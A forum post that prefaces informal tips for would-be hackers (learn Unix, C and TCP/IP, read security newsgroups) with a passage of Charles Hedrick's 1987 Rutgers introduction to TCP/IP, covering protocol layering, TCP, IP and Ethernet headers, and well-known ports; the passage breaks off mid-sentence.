Tcp/ip

[gore]

With all of the posts asking TCP/IP questions recently, I decided it would be a good idea to make this thread. I have uploaded some of these files before, but searching through 20,000 posts is not easy when you need a quick check of something...Actually, this won't be an easy quick check either, as there is going to be a **** load of information here.

I'm not posting this as a tutorial, because most of the information in this was not written by myself. However, if alot of people reply and enjoy this, or somehow lead me to believe this is a good thread, then maybe I'll write a tutorial about this. I have got a TCP/IP class under my Crimson Ghost shaped belt, so I do have a fairly good understanding of this material.

Some of this may not seem to fit into TCP/IP, and I did think about that, and also the fact that some of this is old and or just outdated, but I am posting that information anyway so people new to all of this can see how things worked back in the day.

As for the information that may seem off topic, I just think it's important to add as much here as possible. Some of the information dealing with Hacking and so on may seem out of place, but any hacker that actually knows what they are talking about has a good understanding of how TCP/IP and the protocols it includes all work. So I put it in.

Some of this deals with security, some of it not. If you find any blatant errors, or mis leading information, please reply and point this out. I'd like people to actually learn things the right way from this, and not read it and be flamed for a misunderstanding or something.

On with the text:

I have tried to list who actually wrote these, but some are older than the machine I am typing this all on and I have tried getting the originals for all of these so that you can see who wrote these, and so credit may be given to those who actually deserve it.

First: Some general tips to keep you from being a lamer/**** head online:

I put this here because if you plan on learning TCP/IP, you are more than likely going to be online. And hopefully this guide will help you out in not being a dick head.

Tip #1 - Hacking, hacking is NOT e-mail bombing, being an IRC warrior or
harassing someone. It is the long honored trade of learning about Operating
Systems, Unix for expamle as it's the most popular, and getting to know how
it works inside and out. How to program for it, how to manipulate it and
control it. If you don't know about an Operating System you want to get
into, go learn about it. There is no magic command or word or program, that
I know of, that will let you get and takeover any system with a wave of a
wand. It just don't happen that way.

Tip #2 - This goes with Tip #1, go to school, or get some books and learn.
Read all you can about Unix, C and TCI/IP. I won't lie, it won't happen over
night, it's taken me 2 years of hard core dedication to get to the state I'm
at now, and still I can't keep up with it! For the begginner, get a book on
Unix, learn it, read it over and over until you KNOW it.

Tip #3 - Recources, and where do you get them? Well the best place to find
information on the latest security flaws and hole in not CERN. They post
only after the problem is fixed and every sysadmin and their mother knows
the fix. Go to News Groups. Not the lame ones like "alt.hackers", the only
people you find there are little kids on AOL wanting to know those magic
words. Get on groups like "comp.security.unix", these are where the BIG boys
hang out. The CEO from Sun Microsystmes posts to it, head honchos from
Novell and University Professiors all use these. They post questions and
possable fixes to holes no one has even thought about yet. They are gold
mines.

Tip #3 - I know this may sound lame to the more vetren hacker, but get
invloved in a group. The ones I'm in are always passing new information to
each other and doing, or working on little projects. I'm always amazed on
what I learn from other members of my group.

Tip #4 - Don't e-mail people with kick ass web sites and ask them to help
you be a hacker. Most of the time they think you are just some lamer and
trash your e-mail. Like I said, It's taken me two years to get where I am
now, I'm NOT going to take two years to teach you what I know. Like I said
above, get a book, go to school. read, read, read....

Tip #4 - Screw IRC, the people that you may talk to there are either there
just to chat, or are big head ego inflated dicks. There is NO way anyone
will learn anything on IRC, save how to be an IRC warrior. So skip it.

Tip #5 - Before you go around bugging other people asking them tons of
questions, go look for the answer yourself. Thats a key aspect for a good
hacker; to be able to track down and find little tid bits of information on
obscure topics.

Tip #6 - I think I might of said this before, but get familer with C or a C
based programming language like PERL, Java, or VC++. 90% of hacking has to
do with you writing, or using some sort of script written in C or PERL to
open up an exploit or hole.

Well thats all I can think of for now......

Ê

----------------------------------------------------------------------------

bbuster@succeed.net
___________________________________________________________________________

An Introduction to TCP/IP:

Introduction
to
the Internet Protocols





C R

C S
Computer Science Facilities Group
C I

L S


RUTGERS
The State University of New Jersey




3 July 1987

This is an introduction to the Internet networking protocols (TCP/IP).
It includes a summary of the facilities available and brief
descriptions of the major protocols in the family.

Copyright (C) 1987, Charles L. Hedrick. Anyone may reproduce this
document, in whole or in part, provided that: (1) any copy or
republication of the entire document must show Rutgers University as
the source, and must include this notice; and (2) any other use of
this material must reference this manual and Rutgers University, and
the fact that the material is copyright by Charles Hedrick and is used
by permission.



Unix is a trademark of AT&T Technologies, Inc.



Table of Contents


1. What is TCP/IP? 1
2. General description of the TCP/IP protocols 5
2.1 The TCP level 7
2.2 The IP level 10
2.3 The Ethernet level 11
3. Well-known sockets and the applications layer 12
3.1 An example application: SMTP 15
4. Protocols other than TCP: UDP and ICMP 17
5. Keeping track of names and information: the domain system 18
6. Routing 20
7. Details about Internet addresses: subnets and broadcasting 21
8. Datagram fragmentation and reassembly 23
9. Ethernet encapsulation: ARP 24
10. Getting more information 25






































i



This document is a brief introduction to TCP/IP, followed by advice on
what to read for more information. This is not intended to be a
complete description. It can give you a reasonable idea of the
capabilities of the protocols. But if you need to know any details of
the technology, you will want to read the standards yourself.
Throughout the text, you will find references to the standards, in the
form of "RFC" or "IEN" numbers. These are document numbers. The final
section of this document tells you how to get copies of those
standards.



1. What is TCP/IP?


TCP/IP is a set of protocols developed to allow cooperating computers
to share resources across a network. It was developed by a community
of researchers centered around the ARPAnet. Certainly the ARPAnet is
the best-known TCP/IP network. However as of June, 87, at least 130
different vendors had products that support TCP/IP, and thousands of
networks of all kinds use it.

First some basic definitions. The most accurate name for the set of
protocols we are describing is the "Internet protocol suite". TCP and
IP are two of the protocols in this suite. (They will be described
below.) Because TCP and IP are the best known of the protocols, it
has become common to use the term TCP/IP or IP/TCP to refer to the
whole family. It is probably not worth fighting this habit. However
this can lead to some oddities. For example, I find myself talking
about NFS as being based on TCP/IP, even though it doesn't use TCP at
all. (It does use IP. But it uses an alternative protocol, UDP,
instead of TCP. All of this alphabet soup will be unscrambled in the
following pages.)

The Internet is a collection of networks, including the Arpanet,
NSFnet, regional networks such as NYsernet, local networks at a number
of University and research institutions, and a number of military
networks. The term "Internet" applies to this entire set of networks.
The subset of them that is managed by the Department of Defense is
referred to as the "DDN" (Defense Data Network). This includes some
research-oriented networks, such as the Arpanet, as well as more
strictly military ones. (Because much of the funding for Internet
protocol developments is done via the DDN organization, the terms
Internet and DDN can sometimes seem equivalent.) All of these
networks are connected to each other. Users can send messages from
any of them to any other, except where there are security or other
policy restrictions on access. Officially speaking, the Internet
protocol documents are simply standards adopted by the Internet
community for its own use. More recently, the Department of Defense
issued a MILSPEC definition of TCP/IP. This was intended to be a more
formal definition, appropriate for use in purchasing specifications.
However most of the TCP/IP community continues to use the Internet
standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide
1



"low-level" functions needed for many applications. These include IP,
TCP, and UDP. (These will be described in a bit more detail later.)
Others are protocols for doing specific tasks, e.g. transferring files
between computers, sending mail, or finding out who is logged in on
another computer. Initially TCP/IP was used mostly between
minicomputers or mainframes. These machines had their own disks, and
generally were self-contained. Thus the most important "traditional"
TCP/IP services are:

- file transfer. The file transfer protocol (FTP) allows a user on
any computer to get files from another computer, or to send files
to another computer. Security is handled by requiring the user
to specify a user name and password for the other computer.
Provisions are made for handling file transfer between machines
with different character set, end of line conventions, etc. This
is not quite the same thing as more recent "network file system"
or "netbios" protocols, which will be described below. Rather,
FTP is a utility that you run any time you want to access a file
on another system. You use it to copy the file to your own
system. You then work with the local copy. (See RFC 959 for
specifications for FTP.)

- remote login. The network terminal protocol (TELNET) allows a
user to log in on any other computer on the network. You start a
remote session by specifying a computer to connect to. From that
time until you finish the session, anything you type is sent to
the other computer. Note that you are really still talking to
your own computer. But the telnet program effectively makes your
computer invisible while it is running. Every character you type
is sent directly to the other system. Generally, the connection
to the remote computer behaves much like a dialup connection.
That is, the remote system will ask you to log in and give a
password, in whatever manner it would normally ask a user who had
just dialed it up. When you log off of the other computer, the
telnet program exits, and you will find yourself talking to your
own computer. Microcomputer implementations of telnet generally
include a terminal emulator for some common type of terminal.
(See RFC's 854 and 855 for specifications for telnet. By the
way, the telnet protocol should not be confused with Telenet, a
vendor of commercial network services.)

- computer mail. This allows you to send messages to users on
other computers. Originally, people tended to use only one or
two specific computers. They would maintain "mail files" on
those machines. The computer mail system is simply a way for you
to add a message to another user's mail file. There are some
problems with this in an environment where microcomputers are
used. The most serious is that a micro is not well suited to
receive computer mail. When you send mail, the mail software
expects to be able to open a connection to the addressee's
computer, in order to send the mail. If this is a microcomputer,
it may be turned off, or it may be running an application other
than the mail system. For this reason, mail is normally handled
by a larger system, where it is practical to have a mail server
running all the time. Microcomputer mail software then becomes a
2



user interface that retrieves mail from the mail server. (See
RFC 821 and 822 for specifications for computer mail. See RFC
937 for a protocol designed for microcomputers to use in reading
mail from a mail server.)

These services should be present in any implementation of TCP/IP,
except that micro-oriented implementations may not support computer
mail. These traditional applications still play a very important role
in TCP/IP-based networks. However more recently, the way in which
networks are used has been changing. The older model of a number of
large, self-sufficient computers is beginning to change. Now many
installations have several kinds of computers, including
microcomputers, workstations, minicomputers, and mainframes. These
computers are likely to be configured to perform specialized tasks.
Although people are still likely to work with one specific computer,
that computer will call on other systems on the net for specialized
services. This has led to the "server/client" model of network
services. A server is a system that provides a specific service for
the rest of the network. A client is another system that uses that
service. (Note that the server and client need not be on different
computers. They could be different programs running on the same
computer.) Here are the kinds of servers typically present in a
modern computer setup. Note that these computer services can all be
provided within the framework of TCP/IP.

- network file systems. This allows a system to access files on
another computer in a somewhat more closely integrated fashion
than FTP. A network file system provides the illusion that disks
or other devices from one system are directly connected to other
systems. There is no need to use a special network utility to
access a file on another system. Your computer simply thinks it
has some extra disk drives. These extra "virtual" drives refer
to the other system's disks. This capability is useful for
several different purposes. It lets you put large disks on a few
computers, but still give others access to the disk space. Aside
from the obvious economic benefits, this allows people working on
several computers to share common files. It makes system
maintenance and backup easier, because you don't have to worry
about updating and backing up copies on lots of different
machines. A number of vendors now offer high-performance
diskless computers. These computers have no disk drives at all.
They are entirely dependent upon disks attached to common "file
servers". (See RFC's 1001 and 1002 for a description of
PC-oriented NetBIOS over TCP. In the workstation and
minicomputer area, Sun's Network File System is more likely to be
used. Protocol specifications for it are available from Sun
Microsystems.)

- remote printing. This allows you to access printers on other
computers as if they were directly attached to yours. (The most
commonly used protocol is the remote lineprinter protocol from
Berkeley Unix. Unfortunately, there is no protocol document for
this. However the C code is easily obtained from Berkeley, so
implementations are common.)

3



- remote execution. This allows you to request that a particular
program be run on a different computer. This is useful when you
can do most of your work on a small computer, but a few tasks
require the resources of a larger system. There are a number of
different kinds of remote execution. Some operate on a command
by command basis. That is, you request that a specific command
or set of commands should run on some specific computer. (More
sophisticated versions will choose a system that happens to be
free.) However there are also "remote procedure call" systems
that allow a program to call a subroutine that will run on
another computer. (There are many protocols of this sort.
Berkeley Unix contains two servers to execute commands remotely:
rsh and rexec. The man pages describe the protocols that they
use. The user-contributed software with Berkeley 4.3 contains a
"distributed shell" that will distribute tasks among a set of
systems, depending upon load. Remote procedure call mechanisms
have been a topic for research for a number of years, so many
organizations have implementations of such facilities. The most
widespread commercially-supported remote procedure call protocols
seem to be Xerox's Courier and Sun's RPC. Protocol documents are
available from Xerox and Sun. There is a public implementation
of Courier over TCP as part of the user-contributed software with
Berkeley 4.3. An implementation of RPC was posted to Usenet by
Sun, and also appears as part of the user-contributed software
with Berkeley 4.3.)

- name servers. In large installations, there are a number of
different collections of names that have to be managed. This
includes users and their passwords, names and network addresses
for computers, and accounts. It becomes very tedious to keep
this data up to date on all of the computers. Thus the databases
are kept on a small number of systems. Other systems access the
data over the network. (RFC 822 and 823 describe the name server
protocol used to keep track of host names and Internet addresses
on the Internet. This is now a required part of any TCP/IP
implementation. IEN 116 describes an older name server protocol
that is used by a few terminal servers and other products to look
up host names. Sun's Yellow Pages system is designed as a
general mechanism to handle user names, file sharing groups, and
other databases commonly used by Unix systems. It is widely
available commercially. Its protocol definition is available
from Sun.)

- terminal servers. Many installations no longer connect terminals
directly to computers. Instead they connect them to terminal
servers. A terminal server is simply a small computer that only
knows how to run telnet (or some other protocol to do remote
login). If your terminal is connected to one of these, you
simply type the name of a computer, and you are connected to it.
Generally it is possible to have active connections to more than
one computer at the same time. The terminal server will have
provisions to switch between connections rapidly, and to notify
you when output is waiting for another connection. (Terminal
servers use the telnet protocol, already mentioned. However any
real terminal server will also have to support name service and a
4



number of other protocols.)

- network-oriented window systems. Until recently, high-
performance graphics programs had to execute on a computer that
had a bit-mapped graphics screen directly attached to it.
Network window systems allow a program to use a display on a
different computer. Full-scale network window systems provide an
interface that lets you distribute jobs to the systems that are
best suited to handle them, but still give you a single
graphically-based user interface. (The most widely-implemented
window system is X. A protocol description is available from
MIT's Project Athena. A reference implementation is publically
available from MIT. A number of vendors are also supporting
NeWS, a window system defined by Sun. Both of these systems are
designed to use TCP/IP.)

Note that some of the protocols described above were designed by
Berkeley, Sun, or other organizations. Thus they are not officially
part of the Internet protocol suite. However they are implemented
using TCP/IP, just as normal TCP/IP application protocols are. Since
the protocol definitions are not considered proprietary, and since
commercially-support implementations are widely available, it is
reasonable to think of these protocols as being effectively part of
the Internet suite. Note that the list above is simply a sample of
the sort of services available through TCP/IP. However it does
contain the majority of the "major" applications. The other
commonly-used protocols tend to be specialized facilities for getting
information of various kinds, such as who is logged in, the time of
day, etc. However if you need a facility that is not listed here, we
encourage you to look through the current edition of Internet
Protocols (currently RFC 1011), which lists all of the available
protocols, and also to look at some of the major TCP/IP
implementations to see what various vendors have added.



2. General description of the TCP/IP protocols


TCP/IP is a layered set of protocols. In order to understand what
this means, it is useful to look at an example. A typical situation
is sending mail. First, there is a protocol for mail. This defines a
set of commands which one machine sends to another, e.g. commands to
specify who the sender of the message is, who it is being sent to, and
then the text of the message. However this protocol assumes that
there is a way to communicate reliably between the two computers.
Mail, like other application protocols, simply defines a set of
commands and messages to be sent. It is designed to be used together
with TCP and IP. TCP is responsible for making sure that the commands
get through to the other end. It keeps track of what is sent, and
retransmitts anything that did not get through. If any message is too
large for one datagram, e.g. the text of the mail, TCP will split it
up into several datagrams, and make sure that they all arrive
correctly. Since these functions are needed for many applications,
they are put together into a separate protocol, rather than being part
5



of the specifications for sending mail. You can think of TCP as
forming a library of routines that applications can use when they need
reliable network communications with another computer. Similarly, TCP
calls on the services of IP. Although the services that TCP supplies
are needed by many applications, there are still some kinds of
applications that don't need them. However there are some services
that every application needs. So these services are put together into
IP. As with TCP, you can think of IP as a library of routines that
TCP calls on, but which is also available to applications that don't
use TCP. This strategy of building several levels of protocol is
called "layering". We think of the applications programs such as
mail, TCP, and IP, as being separate "layers", each of which calls on
the services of the layer below it. Generally, TCP/IP applications
use 4 layers:

- an application protocol such as mail

- a protocol such as TCP that provides services need by many
applications

- IP, which provides the basic service of getting datagrams to
their destination

- the protocols needed to manage a specific physical medium, such
as Ethernet or a point to point line.

TCP/IP is based on the "catenet model". (This is described in more
detail in IEN 48.) This model assumes that there are a large number
of independent networks connected together by gateways. The user
should be able to access computers or other resources on any of these
networks. Datagrams will often pass through a dozen different
networks before getting to their final destination. The routing
needed to accomplish this should be completely invisible to the user.
As far as the user is concerned, all he needs to know in order to
access another system is an "Internet address". This is an address
that looks like 128.6.4.194. It is actually a 32-bit number. However
it is normally written as 4 decimal numbers, each representing 8 bits
of the address. (The term "octet" is used by Internet documentation
for such 8-bit chunks. The term "byte" is not used, because TCP/IP is
supported by some computers that have byte sizes other than 8 bits.)
Generally the structure of the address gives you some information
about how to get to the system. For example, 128.6 is a network
number assigned by a central authority to Rutgers University. Rutgers
uses the next octet to indicate which of the campus Ethernets is
involved. 128.6.4 happens to be an Ethernet used by the Computer
Science Department. The last octet allows for up to 254 systems on
each Ethernet. (It is 254 because 0 and 255 are not allowed, for
reasons that will be discussed later.) Note that 128.6.4.194 and
128.6.5.194 would be different systems. The structure of an Internet
address is described in a bit more detail later.

Of course we normally refer to systems by name, rather than by
Internet address. When we specify a name, the network software looks
it up in a database, and comes up with the corresponding Internet
address. Most of the network software deals strictly in terms of the
6



address. (RFC 882 describes the name server technology used to handle
this lookup.)

TCP/IP is built on "connectionless" technology. Information is
transfered as a sequence of "datagrams". A datagram is a collection
of data that is sent as a single message. Each of these datagrams is
sent through the network individually. There are provisions to open
connections (i.e. to start a conversation that will continue for some
time). However at some level, information from those connections is
broken up into datagrams, and those datagrams are treated by the
network as completely separate. For example, suppose you want to
transfer a 15000 octet file. Most networks can't handle a 15000 octet
datagram. So the protocols will break this up into something like 30
500-octet datagrams. Each of these datagrams will be sent to the
other end. At that point, they will be put back together into the
15000-octet file. However while those datagrams are in transit, the
network doesn't know that there is any connection between them. It is
perfectly possible that datagram 14 will actually arrive before
datagram 13. It is also possible that somewhere in the network, an
error will occur, and some datagram won't get through at all. In that
case, that datagram has to be sent again.

Note by the way that the terms "datagram" and "packet" often seem to
be nearly interchangable. Technically, datagram is the right word to
use when describing TCP/IP. A datagram is a unit of data, which is
what the protocols deal with. A packet is a physical thing, appearing
on an Ethernet or some wire. In most cases a packet simply contains a
datagram, so there is very little difference. However they can
differ. When TCP/IP is used on top of X.25, the X.25 interface breaks
the datagrams up into 128-byte packets. This is invisible to IP,
because the packets are put back together into a single datagram at
the other end before being processed by TCP/IP. So in this case, one
IP datagram would be carried by several packets. However with most
media, there are efficiency advantages to sending one datagram per
packet, and so the distinction tends to vanish.



2.1 The TCP level


Two separate protocols are involved in handling TCP/IP datagrams. TCP
(the "transmission control protocol") is responsible for breaking up
the message into datagrams, reassembling them at the other end,
resending anything that gets lost, and putting things back in the
right order. IP (the "internet protocol") is responsible for routing
individual datagrams. It may seem like TCP is doing all the work.
And in small networks that is true. However in the Internet, simply
getting a datagram to its destination can be a complex job. A
connection may require the datagram to go through several networks at
Rutgers, a serial line to the John von Neuman Supercomputer Center, a
couple of Ethernets there, a series of 56Kbaud phone lines to another
NSFnet site, and more Ethernets on another campus. Keeping track of
the routes to all of the destinations and handling incompatibilities
among different transport media turns out to be a complex job. Note
7



that the interface between TCP and IP is fairly simple. TCP simply
hands IP a datagram with a destination. IP doesn't know how this
datagram relates to any datagram before it or after it.

It may have occurred to you that something is missing here. We have
talked about Internet addresses, but not about how you keep track of
multiple connections to a given system. Clearly it isn't enough to
get a datagram to the right destination. TCP has to know which
connection this datagram is part of. This task is referred to as
"demultiplexing." In fact, there are several levels of demultiplexing
going on in TCP/IP. The information needed to do this demultiplexing
is contained in a series of "headers". A header is simply a few extra
octets tacked onto the beginning of a datagram by some protocol in
order to keep track of it. It's a lot like putting a letter into an
envelope and putting an address on the outside of the envelope.
Except with modern networks it happens several times. It's like you
put the letter into a little envelope, your secretary puts that into a
somewhat bigger envelope, the campus mail center puts that envelope
into a still bigger one, etc. Here is an overview of the headers that
get stuck on a message that passes through a typical TCP/IP network:

We start with a single data stream, say a file you are trying to send
to some other computer:

......................................................

TCP breaks it up into manageable chunks. (In order to do this, TCP
has to know how large a datagram your network can handle. Actually,
the TCP's at each end say how big a datagram they can handle, and then
they pick the smallest size.)

.... .... .... .... .... .... .... ....

TCP puts a header at the front of each datagram. This header actually
contains at least 20 octets, but the most important ones are a source
and destination "port number" and a "sequence number". The port
numbers are used to keep track of different conversations. Suppose 3
different people are transferring files. Your TCP might allocate port
numbers 1000, 1001, and 1002 to these transfers. When you are sending
a datagram, this becomes the "source" port number, since you are the
source of the datagram. Of course the TCP at the other end has
assigned a port number of its own for the conversation. Your TCP has
to know the port number used by the other end as well. (It finds out
when the connection starts, as we will explain below.) It puts this
in the "destination" port field. Of course if the other end sends a
datagram back to you, the source and destination port numbers will be
reversed, since then it will be the source and you will be the
destination. Each datagram has a sequence number. This is used so
that the other end can make sure that it gets the datagrams in the
right order, and that it hasn't missed any. (See the TCP
specification for details.) TCP doesn't number the datagrams, but the
octets. So if there are 500 octets of data in each datagram, the
first datagram might be numbered 0, the second 500, the next 1000, the
next 1500, etc. Finally, I will mention the Checksum. This is a
number that is computed by adding up all the octets in the datagram
8



(more or less - see the TCP spec). The result is put in the header.
TCP at the other end computes the checksum again. If they disagree,
then something bad happened to the datagram in transmission, and it is
thrown away. So here's what the datagram looks like now.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| your data ... next 500 octets |
| ...... |

If we abbreviate the TCP header as "T", the whole file now looks like
this:

T.... T.... T.... T.... T.... T.... T....

You will note that there are items in the header that I have not
described above. They are generally involved with managing the
connection. In order to make sure the datagram has arrived at its
destination, the recipient has to send back an "acknowledgement".
This is a datagram whose "Acknowledgement number" field is filled in.
For example, sending a packet with an acknowledgement of 1500
indicates that you have received all the data up to octet number 1500.
If the sender doesn't get an acknowledgement within a reasonable
amount of time, it sends the data again. The window is used to
control how much data can be in transit at any one time. It is not
practical to wait for each datagram to be acknowledged before sending
the next one. That would slow things down too much. On the other
hand, you can't just keep sending, or a fast computer might overrun
the capacity of a slow one to absorb data. Thus each end indicates
how much new data it is currently prepared to absorb by putting the
number of octets in its "Window" field. As the computer receives
data, the amount of space left in its window decreases. When it goes
to zero, the sender has to stop. As the receiver processes the data,
it increases its window, indicating that it is ready to accept more
data. Often the same datagram can be used to acknowledge receipt of a
set of data and to give permission for additional new data (by an
updated window). The "Urgent" field allows one end to tell the other
to skip ahead in its processing to a particular octet. This is often
useful for handling asynchronous events, for example when you type a
control character or other command that interrupts output. The other
fields are beyond the scope of this document.



9



2.2 The IP level


TCP sends each of these datagrams to IP. Of course it has to tell IP
the Internet address of the computer at the other end. Note that this
is all IP is concerned about. It doesn't care about what is in the
datagram, or even in the TCP header. IP's job is simply to find a
route for the datagram and get it to the other end. In order to allow
gateways or other intermediate systems to forward the datagram, it
adds its own header. The main things in this header are the source
and destination Internet address (32-bit addresses, like 128.6.4.194),
the protocol number, and another checksum. The source Internet
address is simply the address of your machine. (This is necessary so
the other end knows where the datagram came from.) The destination
Internet address is the address of the other machine. (This is
necessary so any gateways in the middle know where you want the
datagram to go.) The protocol number tells IP at the other end to
send the datagram to TCP. Although most IP traffic uses TCP, there
are other protocols that can use IP, so you have to tell IP which
protocol to send the datagram to. Finally, the checksum allows IP at
the other end to verify that the header wasn't damaged in transit.
Note that TCP and IP have separate checksums. IP needs to be able to
verify that the header didn't get damaged in transit, or it could send
a message to the wrong place. For reasons not worth discussing here,
it is both more efficient and safer to have TCP compute a separate
checksum for the TCP header and data. Once IP has tacked on its
header, here's what the message looks like:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TCP header, then your data ...... |
| |

If we represent the IP header by an "I", your file now looks like
this:

IT.... IT.... IT.... IT.... IT.... IT.... IT....

Again, the header contains some additional fields that have not been
discussed. Most of them are beyond the scope of this document. The
flags and fragment offset are used to keep track of the pieces when a
datagram has to be split up. This can happen when datagrams are
forwarded through a network for which they are too big. (This will be
discussed a bit more below.) The time to live is a number that is
decremented whenever the datagram passes through a system. When it
goes to zero, the datagram is discarded. This is done in case a loop
10



develops in the system somehow. Of course this should be impossible,
but well-designed networks are built to cope with "impossible"
conditions.

At this point, it's possible that no more headers are needed. If your
computer happens to have a direct phone line connecting it to the
destination computer, or to a gateway, it may simply send the
datagrams out on the line (though likely a synchronous protocol such
as HDLC would be used, and it would add at least a few octets at the
beginning and end).



2.3 The Ethernet level


However most of our networks these days use Ethernet. So now we have
to describe Ethernet's headers. Unfortunately, Ethernet has its own
addresses. The people who designed Ethernet wanted to make sure that
no two machines would end up with the same Ethernet address.
Furthermore, they didn't want the user to have to worry about
assigning addresses. So each Ethernet controller comes with an
address builtin from the factory. In order to make sure that they
would never have to reuse addresses, the Ethernet designers allocated
48 bits for the Ethernet address. People who make Ethernet equipment
have to register with a central authority, to make sure that the
numbers they assign don't overlap any other manufacturer. Ethernet is
a "broadcast medium". That is, it is in effect like an old party line
telephone. When you send a packet out on the Ethernet, every machine
on the network sees the packet. So something is needed to make sure
that the right machine gets it. As you might guess, this involves the
Ethernet header. Every Ethernet packet has a 14-octet header that
includes the source and destination Ethernet address, and a type code.
Each machine is supposed to pay attention only to packets with its own
Ethernet address in the destination field. (It's perfectly possible
to cheat, which is one reason that Ethernet communications are not
terribly secure.) Note that there is no connection between the
Ethernet address and the Internet address. Each machine has to have a
table of what Ethernet address corresponds to what Internet address.
(We will describe how this table is constructed a bit later.) In
addition to the addresses, the header contains a type code. The type
code is to allow for several different protocol families to be used on
the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at
the same time. Each of them will put a different value in the type
field. Finally, there is a checksum. The Ethernet controller
computes a checksum of the entire packet. When the other end receives
the packet, it recomputes the checksum, and throws the packet away if
the answer disagrees with the original. The checksum is put on the
end of the packet, not in the header. The final result is that your
message looks like this:





11



+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet destination address (first 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet source address (last 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type code |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP header, then TCP header, then your data |
| |
...
| |
| end of your data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

If we represent the Ethernet header with "E", and the Ethernet
checksum with "C", your file now looks like this:

EIT....C EIT....C EIT....C EIT....C EIT....C

When these packets are received by the other end, of course all the
headers are removed. The Ethernet interface removes the Ethernet
header and the checksum. It looks at the type code. Since the type
code is the one assigned to IP, the Ethernet device driver passes the
datagram up to IP. IP removes the IP header. It looks at the IP
protocol field. Since the protocol type is TCP, it passes the
datagram up to TCP. TCP now looks at the sequence number. It uses
the sequence numbers and other information to combine all the
datagrams into the original file.

The ends our initial summary of TCP/IP. There are still some crucial
concepts we haven't gotten to, so we'll now go back and add details in
several areas. (For detailed descriptions of the items discussed here
see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for
sending IP over Ethernet.)



3. Well-known sockets and the applications layer


So far, we have described how a stream of data is broken up into
datagrams, sent to another computer, and put back together. However
something more is needed in order to accomplish anything useful.
There has to be a way for you to open a connection to a specified
computer, log into it, tell it what file you want, and control the
transmission of the file. (If you have a different application in
mind, e.g. computer mail, some analogous protocol is needed.) This is
done by "application protocols". The application protocols run "on
top" of TCP/IP. That is, when they want to send a message, they give
the message to TCP. TCP makes sure it gets delivered to the other
end. Because TCP and IP take care of all the networking details, the
12



applications protocols can treat a network connection as if it were a
simple byte stream, like a terminal or phone line.

Before going into more details about applications programs, we have to
describe how you find an application. Suppose you want to send a file
to a computer whose Internet address is 128.6.4.7. To start the
process, you need more than just the Internet address. You have to
connect to the FTP server at the other end. In general, network
programs are specialized for a specific set of tasks. Most systems
have separate programs to handle file transfers, remote terminal
logins, mail, etc. When you connect to 128.6.4.7, you have to specify
that you want to talk to the FTP server. This is done by having
"well-known sockets" for each server. Recall that TCP uses port
numbers to keep track of individual conversations. User programs
normally use more or less random port numbers. However specific port
numbers are assigned to the programs that sit waiting for requests.
For example, if you want to send a file, you will start a program
called "ftp". It will open a connection using some random number, say
1234, for the port number on its end. However it will specify port
number 21 for the other end. This is the official port number for the
FTP server. Note that there are two different programs involved. You
run ftp on your side. This is a program designed to accept commands
from your terminal and pass them on to the other end. The program
that you talk to on the other machine is the FTP server. It is
designed to accept commands from the network connection, rather than
an interactive terminal. There is no need for your program to use a
well-known socket number for itself. Nobody is trying to find it.
However the servers have to have well-known numbers, so that people
can open connections to them and start sending them commands. The
official port numbers for each program are given in "Assigned
Numbers".

Note that a connection is actually described by a set of 4 numbers:
the Internet address at each end, and the TCP port number at each end.
Every datagram has all four of those numbers in it. (The Internet
addresses are in the IP header, and the TCP port numbers are in the
TCP header.) In order to keep things straight, no two connections can
have the same set of numbers. However it is enough for any one number
